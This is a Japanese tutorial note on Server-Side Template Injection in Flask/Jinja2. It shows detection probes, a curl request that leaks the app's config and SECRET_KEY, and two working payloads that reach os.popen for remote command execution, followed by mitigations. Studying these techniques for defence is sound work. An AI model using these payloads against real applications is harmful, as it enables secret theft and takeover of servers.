SSTI(Server-Side Template Injection)と Jinja2 での確認・悪用の流れ
SSTI とは
SSTI = Server-Side Template Injection。ユーザー入力が「テンプレートの一部」としてサーバー側で評価されてしまう脆弱性。 入力が単なる値としてテンプレートに埋め込まれるのではなく、テンプレート自体に連結されてしまうと起きる。
存在確認とエンジンの判別
Jinja2 だと、数式を入れて計算結果が返ってくれば当たり。
{{7*7}} → 49 が返ってくる
さらに、次の結果の違いでエンジンを絞り込める。
{{7*'7'}}
7777777になる → Jinja2(Python なので文字列'7'が 7 回繰り返される)49になる → Twig
{{7*7}} だけだと Jinja2 も Twig も 49 になって区別できない。{{7*'7'}} を足すと、エンジンの判別に使えるのがなるほどと思った点。
設定値の漏洩
Flask + Jinja2 のアプリで、name パラメータがテンプレートに評価される状況だと、config オブジェクトを丸ごと表示できる。
$ curl "http://203.0.113.10:5000/?name={{config}}"
config の中身が丸見えになり、SECRET_KEY まで出てくる。
SECRET_KEY が漏れると、Flask のセッション Cookie の署名偽造などにつながる。RCE まで行かなくても、これだけで十分に危険。
RCE まで辿る
Jinja2 のテンプレート内からは、Python のオブジェクトを __init__ → __globals__ と辿って、os や __builtins__ に到達できる。
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
__globals__ 経由で __builtins__ に届くのがミソ。__builtins__ に届けば __import__ が使えるので、os を読み込んで popen でコマンドを実行し、出力を read() で取り出せる。
テンプレートに最初から入っているオブジェクトの __globals__ が最初から os を含んでいる場合は、もっと短く書ける。
{{ cycler.__init__.__globals__.os.popen('id').read() }}
どちらも、「テンプレート内で使えるオブジェクトを起点に、Python の属性を辿ってモジュールへ到達する」という考え方。
対策
- ユーザー入力をテンプレート文字列に連結しない。入力はテンプレートの変数(コンテキスト)として渡し、テンプレート自体は固定にする。
- やむを得ずユーザーにテンプレートを書かせる場合は、サンドボックス化されたテンプレート環境(Jinja2 なら
SandboxedEnvironment)を使う。ただしサンドボックスも万能ではないので、入力そのものを制限する。 SECRET_KEYなどの秘密情報は、漏れた場合に備えてローテーションできるようにしておく。